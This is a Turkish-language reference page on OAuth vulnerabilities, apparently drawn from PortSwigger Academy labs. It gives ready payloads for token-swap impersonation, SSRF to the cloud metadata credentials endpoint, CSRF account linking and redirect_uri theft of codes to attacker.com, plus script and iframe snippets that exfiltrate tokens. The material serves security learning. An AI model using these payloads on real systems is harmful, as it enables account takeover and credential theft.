OAuth Zafiyetleri
OAuth Nedir?
OAuth, web sitelerinin ve web uygulamalarının bir kullanıcının başka bir uygulamadaki hesabına sınırlı erişim talep etmesini sağlayan yaygın olarak kullanılan bir yetkilendirme çerçevesidir. En önemlisi, OAuth, kullanıcının oturum açma kimlik bilgilerini talep eden uygulamaya göstermeden bu erişimi vermesine olanak tanır. Bu, kullanıcıların hesaplarının tam kontrolünü üçüncü bir tarafa devretmek zorunda kalmak yerine hangi verileri paylaşmak istediklerine ince ayar yapabilecekleri anlamına gelir.
Temel OAuth süreci, bir kullanıcının hesabındaki belirli verilere erişim gerektiren üçüncü taraf işlevselliğini entegre etmek için yaygın olarak kullanılır. Örneğin bir uygulama, bağlantı kurulacak kişileri önerebilmek amacıyla e-posta kişi listenize erişim talep etmek için OAuth'u kullanabilir. Bununla birlikte, aynı mekanizma, kullanıcıların farklı bir web sitesinde sahip oldukları bir hesapla oturum açmalarına olanak tanıyan üçüncü taraf kimlik doğrulama hizmetleri sağlamak için de kullanılır.

Saldırı Yöntemleri
OAuth Sonrası Saldırı
OAuth doğrulaması sonrasında yapılan isteklerde manipülasyon yapmayı deneyebiliriz.
POST /authenticate HTTP/2
Content-Type: application/json
{
"email":"wiener@gmail.com",
"username":"wiener",
"token":"nH53BRQ8VD9ViR56HH4eNtBWPrwm5kRj4EXCPLXw0Kq"
}
POST /authenticate HTTP/2
Content-Type: application/json
{
"email":"carlos@gmail.com",
"username":"carlos",
"token":"nH53BRQ8VD9ViR56HH4eNtBWPrwm5kRj4EXCPLXw0Kq"
}
OAuth Recon
Aşağıdaki yollarda Oauth sunucusunun endpoint adreslerini görebilirsiniz.
https://oauth.example.com/.well-known/oauth-authorization-server
https://oauth.example.com/.well-known/openid-configuration
OAuth SSRF
Eğer oauth sunucusunda ssrf zafiyetini tetikleyecek bir parametre bulabilirseniz OAuth sunucusunun bilgilerini ele geçirebiliriz.
POST /reg HTTP/1.1
Host: oauth.example.com
Content-Type: application/json
{
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
OAuth Account Takeover
Eğer hesaba oauth ile giriş eklenirken aşağıdakine benzer çekilde csrf token olmadan ekleme yapılıyorsa zafiyet oluşur.
Kurban aşağıdaki linki açtığında bizim oauth hesabımızı kendi hesabına bağlamış olucak ve hesabına kendi oauth bilgilerimiz ile erişebilicez.
<iframe src="https://example.com/oauth-linking?code=OUR_CODE"></iframe>
Redirect_uri ile Account Takeover
OAuth mekanizması çalırken aşağıdaki şekilde oauth servisinin bir parametre ile gönderildiğini düşünün.
https://oauth.example.com/auth?client_id=xxxxxxxx&redirect_uri=https://example.com/oauth_callback&response_type=code&scope=openid%20profile%20email
Bu durumda kullanıcının yönlendirileceği yeri değiştirerek kodu kendi sunucumuza gönderebiliriz.
<iframe src="https://oauth.example.com/auth?client_id=xxxx&redirect_uri=https://attacker.com&response_type=code&scope=openid%20profile%20email"></iframe>
Open Redirect ile Account Takeover
Üstteki örneği düşünün fakat bu sefer redirect_uri whitelist ile korunuyor olsun. Eğer uygulamada bir open redirect zafiyeti bulursak bu ikisini zincirleyebiliriz.
https://oauth.example.com/auth?client_id=xxxxxxx&redirect_uri=https://example.com/oauth-callback/../post/next?path=https://attacker.com/&response_type=token&nonce=399721827&scope=openid%20profile%20email
<script>
if (!document.location.hash) {
window.location = 'https://oauth.example.com/auth?client_id=xxxxxx&redirect_uri=https://example.com/oauth-callback/../post/next?path=https://attacker.com/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
Proxy Sayfası ile Account Takeover
<iframe src="https://oauth.example.com/auth?client_id=xxxxx&redirect_uri=https://example.com/oauth-callback/../post/comment/comment-form&response_type=token&nonce=1552239120&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
Kaynaklar
Portswigger Academy: https://portswigger.net/web-security/oauth
Last updated
Was this helpful?